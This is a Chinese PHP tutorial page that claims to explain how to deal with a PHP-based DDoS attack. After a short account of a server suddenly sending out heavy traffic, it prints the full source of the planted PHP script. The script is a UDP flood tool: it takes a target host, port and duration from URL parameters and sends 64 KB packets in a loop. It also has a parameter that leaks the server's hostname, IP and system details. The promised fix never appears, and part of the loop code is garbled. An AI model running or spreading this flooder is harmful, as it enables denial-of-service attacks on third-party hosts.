php的ddos攻击解决方法_php技巧-php教程-PHP中文网

php的ddos攻击解决方法_php技巧

php中文网

发布： 2016-05-16 20:26:08

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本文实例讲述了php的ddos攻击解决方法。分享给大家供大家参考。具体分析如下：

今天自己的一台机器突然向外部发送大量数据包,可每秒到1G以上,虽然我用策略把UDP禁止包是发不出去但是很占cup啊,所以想到最后还是想办法解决了.

先看源码,代码如下:

复制代码代码如下:

set_time_limit(999999); 

$host = $_GET['host']; 

$port = $_GET['port']; 

$exec_time = $_GET['time']; 

$Sendlen = 65535; 

$packets = 0; 

ignore_user_abort(True); 

if (StrLen($host)==0 or StrLen($port)==0 or StrLen($exec_time)==0){ 

        if (StrLen($_GET['rat'])0){ 

                echo $_GET['rat'].$_SERVER["HTTP_HOST"]."|".GetHostByName($_SERVER['SERVER_NAME'])."|".php_uname()."|".$_SERVER['SERVER_SOFTWARE'].$_GET['rat']; 

                exit; 

            } 

        echo "Parameters can not be empty!"; 

        exit; 

    } 

for($i=0;$i
        $out .= "A"; 

    } 

$max_time = time()+$exec_time; 

while(1){ 

    $packets++; 

    if(time() > $max_time){ 

        break; 

    } 

    $fp = fsockopen("udp://$host", $port, $errno, $errstr, 5); 

        if($fp){ 

            fwrite($fp, $out); 

            fclose($fp); 

    } 

} 

echo "Send Host：$host:$port

"; 

echo "Send Flow：$packets * ($Sendlen/1024=" . round($Sendlen/1024, 2) . ")kb / 1024 = " . round($packets*$Sendlen/1024/1024, 2) . " mb

"; 

echo "Send Rate：" . round($packets/$exec_time, 2) . " packs/s；" . round($packets/$exec_time*$Sendlen/1024/1024, 2) . " mb/s"; 

?>